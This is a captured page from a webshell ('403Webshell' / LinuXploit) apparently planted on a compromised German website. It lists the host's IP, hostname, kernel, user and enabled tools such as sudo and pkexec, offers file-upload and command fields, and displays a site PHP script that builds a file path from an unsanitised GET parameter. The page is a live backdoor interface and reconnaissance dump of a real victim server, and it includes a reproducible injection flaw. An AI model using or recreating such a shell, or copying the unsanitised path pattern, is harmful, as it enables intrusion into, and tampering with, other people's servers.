403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/drogentest-online.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/drogentest-online.de/web/produktbilder.php
<?php
// Path to cache Images
$pFile = "cache/products/".$_GET['asin'].".jpg";

require_once("wp-load.php");
require_once("classes/thumbnail.class.php");


$args = array(
    'meta_query' => array(
        array(
            'key' => 'offer_asa',
            'value' => $_GET['asin']
        )
    ),
    'post_type' => 'produkte',
    'posts_per_page' => -1
);
$posts = get_posts($args);

if(isset($posts[0]->ID)) {
    $sOfferImage = get_post_meta($posts[0]->ID, 'offer_name');
}

// Entscheidung woher das Bild kommt
if(isset($sOfferImage[0])) {
    $image = $sOfferImage[0];
} else {
    $amazon = new AmazonSimpleAdmin();
    $item = $amazon->_getItem($_GET['asin']);
    
    if(!empty($item->LargeImage)) {
        $image = $item->LargeImage->Url->getUri();
    } else {
        wp_delete_post($posts[0]->ID);
    }
}

if(isset($image)) {
    $thumbnail = new thumbnail();
    $thumbnail->create($image);
    $thumbnail->setQuality(80);
    $thumbnail->maxSize(265);
    $thumbnail->autocut(300,270,5);
    $thumbnail->save($pFile);
    $thumbnail->output();
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit